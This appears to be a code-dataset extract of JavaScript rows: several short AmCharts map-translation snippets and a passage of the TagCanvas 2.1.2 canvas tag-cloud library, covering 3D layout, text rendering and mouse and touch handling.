code
stringlengths
1
2.08M
language
stringclasses
1 value
AmCharts.mapTranslations.gv = {"United Kingdom":"Rywvaneth Unys"}
JavaScript
AmCharts.mapTranslations.sa = {"India":"भारतम्"}
JavaScript
AmCharts.mapTranslations.ky = {"Kyrgyzstan":"Кыргызстан"}
JavaScript
AmCharts.mapTranslations.yo = {"Botswana":"BW","Nigeria":"NG","Tonga":"Tonga"}
JavaScript
AmCharts.mapTranslations.zu = {"South Africa":"iNingizimu Afrika"}
JavaScript
AmCharts.mapTranslations.kw = {"United Kingdom":"Rywvaneth Unys"}
JavaScript
/** * Copyright (C) 2010-2013 Graham Breach * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ /** * TagCanvas 2.1.2 * For more information, please contact <graham@goat1000.com> */ (function(){ "use strict"; var i, j, abs = Math.abs, sin = Math.sin, cos = Math.cos, max = Math.max, min = Math.min, ceil = Math.ceil, hexlookup3 = {}, hexlookup2 = {}, hexlookup1 = { 0:"0,", 1:"17,", 2:"34,", 3:"51,", 4:"68,", 5:"85,", 6:"102,", 7:"119,", 8:"136,", 9:"153,", a:"170,", A:"170,", b:"187,", B:"187,", c:"204,", C:"204,", d:"221,", D:"221,", e:"238,", E:"238,", f:"255,", F:"255," }, Oproto, Tproto, TCproto, doc = document, ocanvas, handlers = {}; for(i = 0; i < 256; ++i) { j = i.toString(16); if(i < 16) j = '0' + j; hexlookup2[j] = hexlookup2[j.toUpperCase()] = i.toString() + ','; } function Defined(d) { return typeof(d) != 'undefined'; } function Clamp(v, mn, mx) { return isNaN(v) ? mx : min(mx, max(mn, v)); } function Nop() { return false; } function SortList(l, f) { var nl = [], tl = l.length, i; for(i = 0; i < tl; ++i) nl.push(l[i]); nl.sort(f); return nl; } function Shuffle(a) { var i = a.length-1, t, p; while(i) { p = ~~(Math.random()*i); t = a[i]; a[i] = a[p]; a[p] = t; --i; } } function Matrix(a) { this[1] = {1: a[0], 2: a[1], 3: a[2], 4: a[3]}; this[2] = {1: a[4], 2: a[5], 3: a[6], 4: a[7]}; this[3] = {1: a[8], 2: a[9], 3: a[10], 4: a[11]}; this[4] = {1: a[12], 2: a[13], 3: a[14], 4: a[15]}; } Matrix.Identity = function() { return new Matrix([1,0,0,0, 0,1,0,0, 0,0,1,0, 0,0,0,1]); } Matrix.prototype.mul = function(m) { var a = [], i, j; for(i = 1; i <= 4; ++i) for(j = 1; j <= 4; ++j) a.push(this[i][1] * m[1][j] + this[i][2] * m[2][j] + this[i][3] * m[3][j] + this[i][4] * m[4][j]); return new Matrix(a); } Matrix.prototype.xform = function(p) { var a = {}, x = p.x, y = p.y, z = p.z, w = Defined(p.w) ? p.w : 1; a.x = x * this[1][1] + y * this[2][1] + z * this[3][1] + w * this[4][1]; a.y = x * this[1][2] + y * this[2][2] + z * this[3][2] + w * this[4][2]; a.z = x * this[1][3] + y * this[2][3] + z * this[3][3] + w * this[4][3]; a.w = x * this[1][4] + y * this[2][4] + z * this[3][4] + w * this[4][4]; return a; } function PointsOnSphere(n,xr,yr,zr) { var i, y, r, phi, pts = [], inc = Math.PI * (3-Math.sqrt(5)), off = 2/n; for(i = 0; i < n; ++i) { y = i * off - 1 + (off / 2); r = Math.sqrt(1 - y*y); phi = i * inc; pts.push([cos(phi) * r * xr, y * yr, sin(phi) * r * zr]); } return pts; } function Cylinder(n,o,xr,yr,zr) { var phi, pts = [], inc = Math.PI * (3-Math.sqrt(5)), off = 2/n, i, j, k, l; for(i = 0; i < n; ++i) { j = i * off - 1 + (off / 2); phi = i * inc; k = cos(phi); l = sin(phi); pts.push(o ? [j * xr, k * yr, l * zr] : [k * xr, j * yr, l * zr]); } return pts; } function Ring(o, n, xr, yr, zr, j) { var phi, pts = [], inc = Math.PI * 2 / n, i, k, l; for(i = 0; i < n; ++i) { phi = i * inc; k = cos(phi); l = sin(phi); pts.push(o ? [j * xr, k * yr, l * zr] : [k * xr, j * yr, l * zr]); } return pts; } function PointsOnCylinderV(n,xr,yr,zr) { return Cylinder(n, 0, xr, yr, zr) } function PointsOnCylinderH(n,xr,yr,zr) { return Cylinder(n, 1, xr, yr, zr) } function PointsOnRingV(n, xr, yr, zr, offset) { offset = isNaN(offset) ? 0 : offset * 1; return Ring(0, n, xr, yr, zr, offset); } function PointsOnRingH(n, xr, yr, zr, offset) { offset = isNaN(offset) ? 0 : offset * 1; return Ring(1, n, xr, yr, zr, offset); } function SetAlpha(c,a) { var d = c, p1, p2, ae = (a*1).toPrecision(3) + ')'; if(c[0] === '#') { if(!hexlookup3[c]) if(c.length === 4) hexlookup3[c] = 'rgba(' + hexlookup1[c[1]] + hexlookup1[c[2]] + hexlookup1[c[3]]; else hexlookup3[c] = 'rgba(' + hexlookup2[c.substr(1,2)] + hexlookup2[c.substr(3,2)] + hexlookup2[c.substr(5,2)]; d = hexlookup3[c] + ae; } else if(c.substr(0,4) === 'rgb(' || c.substr(0,4) === 'hsl(') { d = (c.replace('(','a(').replace(')', ',' + ae)); } else if(c.substr(0,5) === 'rgba(' || c.substr(0,5) === 'hsla(') { p1 = c.lastIndexOf(',') + 1, p2 = c.indexOf(')'); a *= parseFloat(c.substring(p1,p2)); d = c.substr(0,p1) + a.toPrecision(3) + ')'; } return d; } function NewCanvas(w,h) { // if using excanvas, give up now if(window.G_vmlCanvasManager) return null; var c = doc.createElement('canvas'); c.width = w; c.height = h; return c; } // I think all browsers pass this test now... function ShadowAlphaBroken() { var cv = NewCanvas(3,3), c, i; if(!cv) return false; c = cv.getContext('2d'); c.strokeStyle = '#000'; c.shadowColor = '#fff'; c.shadowBlur = 3; c.globalAlpha = 0; c.strokeRect(2,2,2,2); c.globalAlpha = 1; i = c.getImageData(2,2,1,1); cv = null; return (i.data[0] > 0); } function FindGradientColour(t,p) { var l = 1024, g = t.weightGradient, cv, c, i, gd, d; if(t.gCanvas) { c = t.gCanvas.getContext('2d'); } else { t.gCanvas = cv = NewCanvas(l,1); if(!cv) return null; c = cv.getContext('2d'); gd = c.createLinearGradient(0,0,l,0); for(i in g) gd.addColorStop(1-i, g[i]); c.fillStyle = gd; c.fillRect(0,0,l,1); } d = c.getImageData(~~((l-1)*p),0,1,1).data; return 'rgba(' + d[0] + ',' + d[1] + ',' + d[2] + ',' + (d[3]/255) + ')'; } function TextSet(c,f,l,s,sc,sb,so,wm,wl) { var xo = (sb || 0) + (so && so[0] < 0 ? abs(so[0]) : 0), yo = (sb || 0) + (so && so[1] < 0 ? abs(so[1]) : 0), i, xc; c.font = f; c.textBaseline = 'top'; c.fillStyle = l; sc && (c.shadowColor = sc); sb && (c.shadowBlur = sb); so && (c.shadowOffsetX = so[0], c.shadowOffsetY = so[1]); for(i = 0; i < s.length; ++i) { xc = wl ? (wm - wl[i]) / 2 : 0; c.fillText(s[i], xo + xc, yo); yo += parseInt(f); } } function TextToCanvas(s,f,ht,w,h,l,sc,sb,so,padx,pady,wmax,wlist) { var cw = w + abs(so[0]) + sb + sb, ch = h + abs(so[1]) + sb + sb, cv, c; cv = NewCanvas(cw+padx,ch+pady); if(!cv) return null; c = cv.getContext('2d'); TextSet(c,f,l,s,sc,sb,so,wmax,wlist); return cv; } function AddShadowToImage(i,sc,sb,so) { var sw = abs(so[0]), sh = abs(so[1]), cw = i.width + (sw > sb ? sw + sb : sb * 2), ch = i.height + (sh > sb ? sh + sb : sb * 2), xo = (sb || 0) + (so[0] < 0 ? sw : 0), yo = (sb || 0) + (so[1] < 0 ? sh : 0), cv, c; cv = NewCanvas(cw, ch); if(!cv) return null; c = cv.getContext('2d'); sc && (c.shadowColor = sc); sb && (c.shadowBlur = sb); so && (c.shadowOffsetX = so[0], c.shadowOffsetY = so[1]); c.drawImage(i, xo, yo, i.width, i.height); return cv; } function FindTextBoundingBox(s,f,ht) { var w = parseInt(s.toString().length * ht), h = parseInt(ht * 2 * s.length), cv = NewCanvas(w,h), c, idata, w1, h1, x, y, i, ex; if(!cv) return null; c = cv.getContext('2d'); c.fillStyle = '#000'; c.fillRect(0,0,w,h); TextSet(c,ht + 'px ' + f,'#fff',s,0,0,[]) idata = c.getImageData(0,0,w,h); w1 = idata.width; h1 = idata.height; ex = { min: { x: w1, y: h1 }, max: { x: -1, y: -1 } }; for(y = 0; y < h1; ++y) { for(x = 0; x < w1; ++x) { i = (y * w1 + x) * 4; if(idata.data[i+1] > 0) { if(x < ex.min.x) ex.min.x = x; if(x > ex.max.x) ex.max.x = x; if(y < ex.min.y) ex.min.y = y; if(y > ex.max.y) ex.max.y = y; } } } // device pixels might not be css pixels if(w1 != w) { ex.min.x *= (w / w1); ex.max.x *= (w / w1); } if(h1 != h) { ex.min.y *= (w / h1); ex.max.y *= (w / h1); } cv = null; return ex; } function FixFont(f) { return "'" + f.replace(/(\'|\")/g,'').replace(/\s*,\s*/g, "', '") + "'"; } function AddHandler(h,f,e) { e = e || doc; if(e.addEventListener) e.addEventListener(h,f,false); else e.attachEvent('on' + h, f); } function AddImage(i, o, t, tc) { var s = tc.imageScale, ic; // image not loaded, wait for image onload if(!o.complete) return AddHandler('load',function() { AddImage(i,o,t,tc); }, o); if(!i.complete) return AddHandler('load',function() { AddImage(i,o,t,tc); }, i); // Yes, this does look like nonsense, but it makes sure that both the // width and height are actually set and not just calculated. This is // required to keep proportional sizes when the images are hidden, so // the images can be used again for another cloud. o.width = o.width; o.height = o.height; if(s) { i.width = o.width * s; i.height = o.height * s; } t.w = i.width; t.h = i.height; if(tc.txtOpt && tc.shadow) { ic = AddShadowToImage(i, tc.shadow, tc.shadowBlur, tc.shadowOffset); if(ic) { t.image = ic; t.w = ic.width; t.h = ic.height; } } } function GetProperty(e,p) { var dv = doc.defaultView, pc = p.replace(/\-([a-z])/g,function(a){return a.charAt(1).toUpperCase()}); return (dv && dv.getComputedStyle && dv.getComputedStyle(e,null).getPropertyValue(p)) || (e.currentStyle && e.currentStyle[pc]); } function FindWeight(t,a) { var w = 1, p; if(t.weightFrom) { w = 1 * (a.getAttribute(t.weightFrom) || t.textHeight); } else if(p = GetProperty(a,'font-size')) { w = (p.indexOf('px') > -1 && p.replace('px','') * 1) || (p.indexOf('pt') > -1 && p.replace('pt','') * 1.25) || p * 3.3; } else { t.weight = false; } return w; } function EventToCanvasId(e) { return e.target && Defined(e.target.id) ? e.target.id : e.srcElement.parentNode.id; } function EventXY(e, c) { var xy, p, xmul = parseInt(GetProperty(c, 'width')) / c.width, ymul = parseInt(GetProperty(c, 'height')) / c.height; if(Defined(e.offsetX)) { xy = {x: e.offsetX, y: e.offsetY}; } else { p = AbsPos(c.id); if(Defined(e.changedTouches)) e = e.changedTouches[0]; if(e.pageX) xy = {x: e.pageX - p.x, y: e.pageY - p.y}; } if(xy && xmul && ymul) { xy.x /= xmul; xy.y /= ymul; } return xy; } function MouseOut(e) { var cv = e.target || e.fromElement.parentNode, tc = TagCanvas.tc[cv.id]; if(tc) { tc.mx = tc.my = -1; tc.UnFreeze(); tc.EndDrag(); } } function MouseMove(e) { var i, t = TagCanvas, tc, p, tg = EventToCanvasId(e); for(i in t.tc) { tc = t.tc[i]; if(tc.tttimer) { clearTimeout(tc.tttimer); tc.tttimer = null; } } if(tg && t.tc[tg]) { tc = t.tc[tg]; if(p = EventXY(e, tc.canvas)) { tc.mx = p.x; tc.my = p.y; tc.Drag(e, p); } tc.drawn = 0; } } function MouseDown(e) { var t = TagCanvas, cb = doc.addEventListener ? 0 : 1, tg = EventToCanvasId(e); if(tg && e.button == cb && t.tc[tg]) { t.tc[tg].BeginDrag(e); } } function MouseUp(e) { var t = TagCanvas, cb = doc.addEventListener ? 0 : 1, tg = EventToCanvasId(e), tc; if(tg && e.button == cb && t.tc[tg]) { tc = t.tc[tg]; MouseMove(e); if(!tc.EndDrag() && !tc.touched) tc.Clicked(e); } } function TouchDown(e) { var t = TagCanvas, tg = EventToCanvasId(e); if(tg && e.changedTouches && t.tc[tg]) { t.tc[tg].touched = 1; t.tc[tg].BeginDrag(e); } } function TouchUp(e) { var t = TagCanvas, tg = EventToCanvasId(e); if(tg && e.changedTouches && t.tc[tg]) { TouchMove(e); if(!t.tc[tg].EndDrag()){ t.tc[tg].Draw(); t.tc[tg].Clicked(e); } } } function TouchMove(e) { var i, t = TagCanvas, tc, p, tg = EventToCanvasId(e); for(i in t.tc) { tc = t.tc[i]; if(tc.tttimer) { clearTimeout(tc.tttimer); tc.tttimer = null; } } if(tg && t.tc[tg] && e.changedTouches) { tc = t.tc[tg]; if(p = EventXY(e, tc.canvas)) { tc.mx = p.x; tc.my = p.y; tc.Drag(e, p); } tc.drawn = 0; } } function MouseWheel(e) { var t = TagCanvas, tg = EventToCanvasId(e); if(tg && t.tc[tg]) { e.cancelBubble = true; e.returnValue = false; e.preventDefault && e.preventDefault(); t.tc[tg].Wheel((e.wheelDelta || e.detail) > 0); } } function DrawCanvas(t) { var tc = TagCanvas.tc, i, interval; t = t || new Date().valueOf(); for(i in tc) { interval = tc[i].interval; tc[i].Draw(t); } TagCanvas.NextFrame(interval); } function AbsPos(id) { var e = doc.getElementById(id), r = e.getBoundingClientRect(), dd = doc.documentElement, b = doc.body, w = window, xs = w.pageXOffset || dd.scrollLeft, ys = w.pageYOffset || dd.scrollTop, xo = dd.clientLeft || b.clientLeft, yo = dd.clientTop || b.clientTop; return { x: r.left + xs - xo, y: r.top + ys - yo }; } function Project(tc,p1,sx,sy) { var m = tc.radius * tc.z1 / (tc.z1 + tc.z2 + p1.z); return { x: p1.x * m * sx, y: p1.y * m * sy, z: p1.z, w: (tc.z1 - p1.z) / tc.z2 }; } /** * @constructor * for recursively splitting tag contents on <br> tags */ function TextSplitter(e) { this.e = e; this.br = 0; this.line = []; this.text = []; this.original = e.innerText || e.textContent; }; TextSplitter.prototype.Lines = function(e) { var r = e ? 1 : 0, cn, cl, i; e = e || this.e; cn = e.childNodes; cl = cn.length; for(i = 0; i < cl; ++i) { if(cn[i].nodeName == 'BR') { this.text.push(this.line.join(' ')); this.br = 1; } else if(cn[i].nodeType == 3) { if(this.br) { this.line = [cn[i].nodeValue]; this.br = 0; } else { this.line.push(cn[i].nodeValue); } } else { this.Lines(cn[i]); } } r || this.br || this.text.push(this.line.join(' ')); return this.text; } TextSplitter.prototype.SplitWidth = function(w, c, f, h) { var i, j, words, text = []; c.font = h + 'px ' + f; for(i = 0; i < this.text.length; ++i) { words = this.text[i].split(/\s+/); this.line = [words[0]]; for(j = 1; j < words.length; ++j) { if(c.measureText(this.line.join(' ') + ' ' + words[j]).width > w) { text.push(this.line.join(' ')); this.line = [words[j]]; } else { this.line.push(words[j]); } } text.push(this.line.join(' ')); } return this.text = text; } /** * @constructor */ function Outline(tc) { this.ts = new Date().valueOf(); this.tc = tc; this.x = this.y = this.w = this.h = this.sc = 1; this.z = 0; this.Draw = tc.pulsateTo < 1 && tc.outlineMethod != 'colour' ? this.DrawPulsate : this.DrawSimple; this.SetMethod(tc.outlineMethod); } Oproto = Outline.prototype; Oproto.SetMethod = function(om) { var methods = { block: ['PreDraw','DrawBlock'], colour: ['PreDraw','DrawColour'], outline: ['PostDraw','DrawOutline'], classic: ['LastDraw','DrawOutline'], none: ['LastDraw'] }, funcs = methods[om] || methods.outline; if(om == 'none') { this.Draw = function() { return 1; } } else { this.drawFunc = this[funcs[1]]; } this[funcs[0]] = this.Draw; }; Oproto.Update = function(x,y,w,h,sc,z,xo,yo) { var o = this.tc.outlineOffset, o2 = 2 * o; this.x = sc * x + xo - o; this.y = sc * y + yo - o; this.w = sc * w + o2; this.h = sc * h + o2; this.sc = sc; // used to determine frontmost this.z = z; }; Oproto.DrawOutline = function(c,x,y,w,h,colour) { c.strokeStyle = colour; c.strokeRect(x,y,w,h); }; Oproto.DrawColour = function(c,x,y,w,h,colour,tag,x1,y1) { return this[tag.image ? 'DrawColourImage' : 'DrawColourText'](c,x,y,w,h,colour,tag,x1,y1); }; Oproto.DrawColourText = function(c,x,y,w,h,colour,tag,x1,y1) { var normal = tag.colour; tag.colour = colour; tag.alpha = 1; tag.Draw(c,x1,y1); tag.colour = normal; return 1; }; Oproto.DrawColourImage = function(c,x,y,w,h,colour,tag,x1,y1) { var ccanvas = c.canvas, fx = ~~max(x,0), fy = ~~max(y,0), fw = min(ccanvas.width - fx, w) + .5|0, fh = min(ccanvas.height - fy,h) + .5|0, cc; if(ocanvas) ocanvas.width = fw, ocanvas.height = fh; else ocanvas = NewCanvas(fw, fh); if(!ocanvas) return this.SetMethod('outline'); // if using IE and images, give up! cc = ocanvas.getContext('2d'); cc.drawImage(ccanvas,fx,fy,fw,fh,0,0,fw,fh); c.clearRect(fx,fy,fw,fh); tag.alpha = 1; tag.Draw(c,x1,y1); c.setTransform(1,0,0,1,0,0); c.save(); c.beginPath(); c.rect(fx,fy,fw,fh); c.clip(); c.globalCompositeOperation = 'source-in'; c.fillStyle = colour; c.fillRect(fx,fy,fw,fh); c.restore(); c.globalCompositeOperation = 'destination-over'; c.drawImage(ocanvas,0,0,fw,fh,fx,fy,fw,fh); c.globalCompositeOperation = 'source-over'; return 1; }; Oproto.DrawBlock = function(c,x,y,w,h,colour) { c.fillStyle = colour; c.fillRect(x,y,w,h); }; Oproto.DrawSimple = function(c, tag, x1, y1) { var t = this.tc; c.setTransform(1,0,0,1,0,0); c.strokeStyle = t.outlineColour; c.lineWidth = t.outlineThickness; c.shadowBlur = c.shadowOffsetX = c.shadowOffsetY = 0; c.globalAlpha = 1; return this.drawFunc(c,this.x,this.y,this.w,this.h,t.outlineColour,tag,x1,y1); }; Oproto.DrawPulsate = function(c, tag, x1, y1) { var diff = new Date().valueOf() - this.ts, t = this.tc; c.setTransform(1,0,0,1,0,0); c.strokeStyle = t.outlineColour; c.lineWidth = t.outlineThickness; c.shadowBlur = c.shadowOffsetX = c.shadowOffsetY = 0; c.globalAlpha = t.pulsateTo + ((1 - t.pulsateTo) * (0.5 + (cos(2 * Math.PI * diff / (1000 * t.pulsateTime)) / 2))); return this.drawFunc(c,this.x,this.y,this.w,this.h,t.outlineColour,tag,x1,y1); }; Oproto.Active = function(c,x,y) { return (x >= this.x && y >= this.y && x <= this.x + this.w && y <= this.y + this.h); }; Oproto.PreDraw = Oproto.PostDraw = Oproto.LastDraw = Nop; /** * @constructor */ function Tag(tc,text,a,v,w,h,col,font,original) { var c = tc.ctxt; this.tc = tc; this.image = text.src ? text : null; this.text = text.src ? [] : text; this.text_original = original; this.line_widths = []; this.title = a.title || null; this.a = a; this.position = { x: v[0], y: v[1], z: v[2] }; this.x = this.y = this.z = 0; this.w = w; this.h = h; this.colour = col || tc.textColour; this.textFont = font || tc.textFont; this.weight = this.sc = this.alpha = 1; this.weighted = !tc.weight; this.outline = new Outline(tc); if(!this.image) { this.textHeight = tc.textHeight; this.extents = FindTextBoundingBox(this.text, this.textFont, this.textHeight); this.Measure(c,tc); } this.SetShadowColour = tc.shadowAlpha ? this.SetShadowColourAlpha : this.SetShadowColourFixed; this.SetDraw(tc); } Tproto = Tag.prototype; Tproto.EqualTo = function(e) { var i = e.getElementsByTagName('img'); if(this.a.href != e.href) return 0; if(i.length) return this.image.src == i[0].src; return (e.innerText || e.textContent) == this.text_original; }; Tproto.SetDraw = function(t) { this.Draw = this.image ? (t.ie > 7 ? this.DrawImageIE : this.DrawImage) : this.DrawText; t.noSelect && (this.CheckActive = Nop); }; Tproto.MeasureText = function(c) { var i, l = this.text.length, w = 0, wl; for(i = 0; i < l; ++i) { this.line_widths[i] = wl = c.measureText(this.text[i]).width; w = max(w, wl); } return w; }; Tproto.Measure = function(c,t) { this.h = this.extents ? this.extents.max.y + this.extents.min.y : this.textHeight; c.font = this.font = this.textHeight + 'px ' + this.textFont; this.w = this.MeasureText(c); if(t.txtOpt) { var s = t.txtScale, th = s * this.textHeight, f = th + 'px ' + this.textFont, soff = [s*t.shadowOffset[0],s*t.shadowOffset[1]], cw; c.font = f; cw = this.MeasureText(c); this.image = TextToCanvas(this.text, f, th, cw, s * this.h, this.colour, t.shadow, s * t.shadowBlur, soff, s, s, cw, this.line_widths); if(this.image) { this.w = this.image.width / s; this.h = this.image.height / s; } this.SetDraw(t); t.txtOpt = !!this.image; } }; Tproto.SetFont = function(f, c) { this.textFont = f; this.colour = c; this.extents = FindTextBoundingBox(this.text, this.textFont, this.textHeight); this.Measure(this.tc.ctxt, this.tc); }; Tproto.SetWeight = function(w) { if(!this.text.length) return; this.weight = w; this.Weight(this.tc.ctxt, this.tc); this.Measure(this.tc.ctxt, this.tc); }; Tproto.Weight = function(c,t) { var w = this.weight, m = t.weightMode; this.weighted = true; if(m == 'colour' || m == 'both') this.colour = FindGradientColour(t, (w - t.min_weight) / (t.max_weight-t.min_weight)); if(m == 'size' || m == 'both') { if(t.weightSizeMin > 0 && t.weightSizeMax > t.weightSizeMin) { this.textHeight = t.weightSize * (t.weightSizeMin + (t.weightSizeMax - t.weightSizeMin) * (w - t.min_weight) / (t.max_weight - t.min_weight)); } else { this.textHeight = w * t.weightSize; } } this.extents = FindTextBoundingBox(this.text, this.textFont, this.textHeight); }; Tproto.SetShadowColourFixed = function(c,s,a) { c.shadowColor = s; }; Tproto.SetShadowColourAlpha = function(c,s,a) { c.shadowColor = SetAlpha(s, a); }; Tproto.DrawText = function(c,xoff,yoff) { var t = this.tc, x = this.x, y = this.y, s = this.sc, i, xl; c.globalAlpha = this.alpha; c.fillStyle = this.colour; t.shadow && this.SetShadowColour(c,t.shadow,this.alpha); c.font = this.font; x += xoff / s; y += (yoff / s) - (this.h / 2); for(i = 0; i < this.text.length; ++i) { xl = x - (this.line_widths[i] / 2); c.setTransform(s, 0, 0, s, s * xl, s * y); c.fillText(this.text[i], 0, 0); y += this.textHeight; } }; Tproto.DrawImage = function(c,xoff,yoff) { var x = this.x, y = this.y, s = this.sc, i = this.image, w = this.w, h = this.h, a = this.alpha, shadow = this.shadow; c.globalAlpha = a; shadow && this.SetShadowColour(c,shadow,a); x += (xoff / s) - (w / 2); y += (yoff / s) - (h / 2); c.setTransform(s, 0, 0, s, s * x, s * y); c.drawImage(i, 0, 0, w, h); }; Tproto.DrawImageIE = function(c,xoff,yoff) { var i = this.image, s = this.sc, w = i.width = this.w*s, h = i.height = this.h * s, x = (this.x*s) + xoff - (w/2), y = (this.y*s) + yoff - (h/2); c.setTransform(1,0,0,1,0,0); c.globalAlpha = this.alpha; c.drawImage(i, x, y); }; Tproto.Calc = function(m) { var pp, t = this.tc, mnb = t.minBrightness, mxb = t.maxBrightness, r = t.max_radius; pp = m.xform(this.position); pp = Project(t, pp, t.stretchX, t.stretchY); this.x = pp.x; this.y = pp.y; this.z = pp.z; this.sc = pp.w; this.alpha = Clamp(mnb + (mxb - mnb) * (r - this.z) / (2 * r), 0, 1); }; Tproto.CheckActive = function(c,xoff,yoff) { var t = this.tc, o = this.outline, w = this.w, h = this.h, x = this.x - w/2, y = this.y - h/2; o.Update(x, y, w, h, this.sc, this.z, xoff, yoff); return o.Active(c, t.mx, t.my) ? o : null; }; Tproto.Clicked = function(e) { var a = this.a, t = a.target, h = a.href, evt; if(t != '' && t != '_self') { if(self.frames[t]) { self.frames[t].document.location = h; } else{ try { if(top.frames[t]) { top.frames[t].document.location = h; return; } } catch(err) { // different domain/port/protocol? } window.open(h, t); } return; } if(doc.createEvent) { evt = doc.createEvent('MouseEvents'); evt.initMouseEvent('click', 1, 1, window, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, null); if(!a.dispatchEvent(evt)) return; } else if(a.fireEvent) { if(!a.fireEvent('onclick')) return; } doc.location = h; }; /** * @constructor */ function TagCanvas(cid,lctr,opt) { var i, p, c = doc.getElementById(cid), cp = ['id','class','innerHTML']; if(!c) throw 0; if(Defined(window.G_vmlCanvasManager)) { c = window.G_vmlCanvasManager.initElement(c); this.ie = parseFloat(navigator.appVersion.split('MSIE')[1]); } if(c && (!c.getContext || !c.getContext('2d').fillText)) { p = doc.createElement('DIV'); for(i = 0; i < cp.length; ++i) p[cp[i]] = c[cp[i]]; c.parentNode.insertBefore(p,c); c.parentNode.removeChild(c); throw 0; } for(i in TagCanvas.options) this[i] = opt && Defined(opt[i]) ? opt[i] : (Defined(TagCanvas[i]) ? TagCanvas[i] : TagCanvas.options[i]); this.canvas = c; this.ctxt = c.getContext('2d'); this.z1 = 250 / this.depth; this.z2 = this.z1 / this.zoom; this.radius = min(c.height, c.width) * 0.0075; // fits radius of 100 in canvas this.max_weight = 0; this.min_weight = 200; this.textFont = this.textFont && FixFont(this.textFont); this.textHeight *= 1; this.pulsateTo = Clamp(this.pulsateTo, 0, 1); this.minBrightness = Clamp(this.minBrightness, 0, 1); this.maxBrightness = Clamp(this.maxBrightness, this.minBrightness, 1); this.ctxt.textBaseline = 'top'; this.lx = (this.lock + '').indexOf('x') + 1; this.ly = (this.lock + '').indexOf('y') + 1; this.frozen = 0; this.dx = this.dy = 0; this.touched = 0; this.source = lctr || cid; this.transform = Matrix.Identity(); this.time = new Date().valueOf(); this.Animate = this.dragControl ? this.AnimateDrag : this.AnimatePosition; if(this.shadowBlur || this.shadowOffset[0] || this.shadowOffset[1]) { // let the browser translate "red" into "#ff0000" this.ctxt.shadowColor = this.shadow; this.shadow = this.ctxt.shadowColor; this.shadowAlpha = ShadowAlphaBroken(); } else { delete this.shadow; } this.Load(); if(lctr && this.hideTags) { (function(t) { if(TagCanvas.loaded) t.HideTags(); else AddHandler('load', function() { t.HideTags(); }, window); })(this); } this.yaw = this.initial ? this.initial[0] * this.maxSpeed : 0; this.pitch = this.initial ? this.initial[1] * this.maxSpeed : 0; if(this.tooltip) { if(this.tooltip == 'native') { this.Tooltip = this.TooltipNative; } else { this.Tooltip = this.TooltipDiv; if(!this.ttdiv) { this.ttdiv = doc.createElement('div'); this.ttdiv.className = this.tooltipClass; this.ttdiv.style.position = 'absolute'; this.ttdiv.style.zIndex = c.style.zIndex + 1; AddHandler('mouseover',function(e){e.target.style.display='none';},this.ttdiv); doc.body.appendChild(this.ttdiv); } } } else { this.Tooltip = this.TooltipNone; } if(!this.noMouse && !handlers[cid]) { AddHandler('mousemove', MouseMove, c); AddHandler('mouseout', MouseOut, c); AddHandler('mouseup', MouseUp, c); AddHandler('touchstart', TouchDown, c); AddHandler('touchend', TouchUp, c); AddHandler('touchcancel', TouchUp, c); AddHandler('touchmove', TouchMove, c); if(this.dragControl) { AddHandler('mousedown', MouseDown, c); AddHandler('selectstart', Nop, c); } if(this.wheelZoom) { AddHandler('mousewheel', MouseWheel, c); AddHandler('DOMMouseScroll', MouseWheel, c); } handlers[cid] = 1; } TagCanvas.started || (TagCanvas.started = setTimeout(DrawCanvas, this.interval)); } TCproto = TagCanvas.prototype; TCproto.SourceElements = function() { if(doc.querySelectorAll) return doc.querySelectorAll('#' + this.source); return [doc.getElementById(this.source)]; }; TCproto.HideTags = function() { var el = this.SourceElements(), i; for(i = 0; i < el.length; ++i) el[i].style.display = 'none'; }; TCproto.GetTags = function() { var el = this.SourceElements(), etl, tl = [], i, j; for(i = 0; i < el.length; ++i) { etl = el[i].getElementsByTagName('a'); for(j = 0; j < etl.length; ++j) { tl.push(etl[j]); } } return tl; }; TCproto.CreateTag = function(e, p) { var im = e.getElementsByTagName('img'), i, t, ts, font; p = p || [0, 0, 0]; if(im.length) { i = new Image; i.src = im[0].src; t = new Tag(this, i, e, p, 0, 0); AddImage(i, im[0], t, this); return t; } ts = new TextSplitter(e); t = ts.Lines(); font = this.textFont || FixFont(GetProperty(e,'font-family')); if(this.splitWidth) t = ts.SplitWidth(this.splitWidth, this.ctxt, font, this.textHeight); return new Tag(this, t, e, p, 2, this.textHeight + 2, this.textColour || GetProperty(e,'color'), font, ts.original); }; TCproto.UpdateTag = function(t, a) { var colour = this.textColour || GetProperty(a, 'color'), font = this.textFont || FixFont(GetProperty(a, 'font-family')); t.title = a.title; if(t.colour != colour || t.textFont != font) t.SetFont(font, colour); }; TCproto.Weight = function(tl) { var l = tl.length, w, i, weights = []; for(i = 0; i < l; ++i) { w = FindWeight(this, tl[i].a); if(w > this.max_weight) this.max_weight = w; if(w < this.min_weight) this.min_weight = w; weights.push(w); } if(this.max_weight > this.min_weight) { for(i = 0; i < l; ++i) { tl[i].SetWeight(weights[i]); } } }; TCproto.Load = function() { var tl = this.GetTags(), taglist = [], shape, shapeArgs, rx, ry, rz, vl, i, tagmap = [], pfuncs = { sphere: PointsOnSphere, vcylinder: PointsOnCylinderV, hcylinder: PointsOnCylinderH, vring: PointsOnRingV, hring: PointsOnRingH }; if(tl.length) { tagmap.length = tl.length; for(i = 0; i < tl.length; ++i) tagmap[i] = i; this.shuffleTags && Shuffle(tagmap); rx = 100 * this.radiusX; ry = 100 * this.radiusY; rz = 100 * this.radiusZ; this.max_radius = max(rx, max(ry, rz)); if(this.shapeArgs) { this.shapeArgs[0] = tl.length; } else { shapeArgs = this.shape.toString().split(/[(),]/); shape = shapeArgs.shift(); this.shape = pfuncs[shape] || pfuncs.sphere; this.shapeArgs = [tl.length, rx, ry, rz].concat(shapeArgs); } vl = this.shape.apply(this, this.shapeArgs); this.listLength = tl.length; for(i = 0; i < tl.length; ++i) { taglist.push(this.CreateTag(tl[tagmap[i]], vl[i])); } this.weight && this.Weight(taglist, true); } this.taglist = taglist; }; TCproto.Update = function() { var tl = this.GetTags(), newlist = [], taglist = this.taglist, found, added = [], removed = [], vl, ol, nl, i, j; if(!this.shapeArgs) return this.Load(); 